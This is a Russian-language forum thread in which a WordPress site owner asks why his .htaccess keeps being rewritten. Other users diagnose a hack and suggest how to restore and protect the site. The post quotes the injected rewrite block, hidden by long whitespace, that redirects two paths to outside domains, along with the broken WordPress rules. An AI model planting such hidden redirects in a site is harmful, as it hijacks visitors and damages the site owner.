[ZeRoN]

Доброго времени суток, форумчане. Есть такая проблема, заметил что файл .htaccess перезаписывается в связи с чем доступ до страниц сайта закрыт, кроме главной страницы. Содержимое обновленного .htaccess файла:

PHP код:

## BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} -d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

                                                                                                                                                                                <IfModule mod_rewrite.c>                                                                                                                                                                                
                                                                                                                                                                                RewriteRule ^rtt01/(.*)$ http://medicalun.com/ [R,L]                                                                                                                                                                                
                                                                                                                                                                                RewriteRule ^att01/(.*)$ http://www.espaidesalut.org/images/bar/index.html [R,L]                                                                                                                                                                                
                                                                                                                                                                                </IfModule> 


Причем вот этот кусок:

PHP код:

<IfModule mod_rewrite.c>                                                                                                                                                                                
                                                                                                                                                                                RewriteRule ^rtt01/(.*)$ http://medicalun.com/ [R,L]                                                                                                                                                                                
                                                                                                                                                                                RewriteRule ^att01/(.*)$ http://www.espaidesalut.org/images/bar/index.html [R,L]                                                                                                                                                                                
                                                                                                                                                                                </IfModule> 


спущен в самый низ, ну понятно, чтобы не заметили.

Подскажите из-за чего может происходить данная фигня?

[ArhStrAngeR]

Взломали и прописывают редирект на свой сайт

[ZeRoN]

ArhStrAngeR, но ридирект не срабатывает, скажите в каком направление искать уязвимость?

[ctapbiu]

ZeRoN, вставьте оригинальный код в .htaccess:

Код:

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

и поставьте права доступа 0444 (то есть закройте от записи)

[ZeRoN]

ctapbiu, спасибо, я так сделал, но все равно надо выяснить где есть уязвимость.

[ZeRoN]

ctapbiu, все равно не помогло, каким-то образом файл изменился, ума не приложу как это может происходить.

[ctapbiu]

если есть возможность - измените владельца сайта. Например, на суперпользователя (root)

[JaTony]

а если это уже какая-то внедренная скриптина переписывает файл .htaccess-а тогда фиг что поможет, может так:
1. в вордпрессе идем: инструмены -> экспорт сохраняем все содержимое
2. скачиваем папку wp-content/uploads
3. скачиваем с wordpress.org последний вордпресс, раззиповываем его у себя на винте
4. закидываем в раззипованный вордпресс данную папку wp-content/uploads
5. создаем на серваке новую базу данных
6. скачиваем wp-config.php и помещаем его в корень этой папки, меняем название базы данных, ну проверим его на всякий пожарный
7. скачиваем .htaccess и тоже в корень и тоже проверим
8. делаем из всего этого хозяйства архив wordpress.tar.gz
8. заливаем его на сервак в корень
9. логинимся по ssh заходим в папку с доменом и удаляем всё, что есть в данном домене, кроме файла wordpress.tgz
10. далее юзаем команду tar -xzvf wordpress.tgz, которая моментально распакует вордпресс
11. устанавливаем вордпресс и импортаем записи
12. заново качаем и подключаем все плагины.

инструкцию конечно хорошую накатал, но все эти действия вы делаете на свой страх и риск, продумайте все и взвесте все очень хорошо, возможно помимо того, что я описал вам что-то еще надо сохранить.
В общем удачи :)

[ctapbiu]

появилась еще такая мысль:
возможно обновляются правила rewrite (при помощи ф-ции flush_rules) или каким-то правилом или из-за добавления/удаления страниц (pages).
Проверьте если при ручном изменении ЧПУ (permalinks) код в .htaccess также опускается вниз, то скорее всего причина в этом.

[ZeRoN]

Пока сменил пароли от пользователей фтп. Все вроде нормально, надеюсь что этим решу проблему. Спасибо всем кто откликнулся.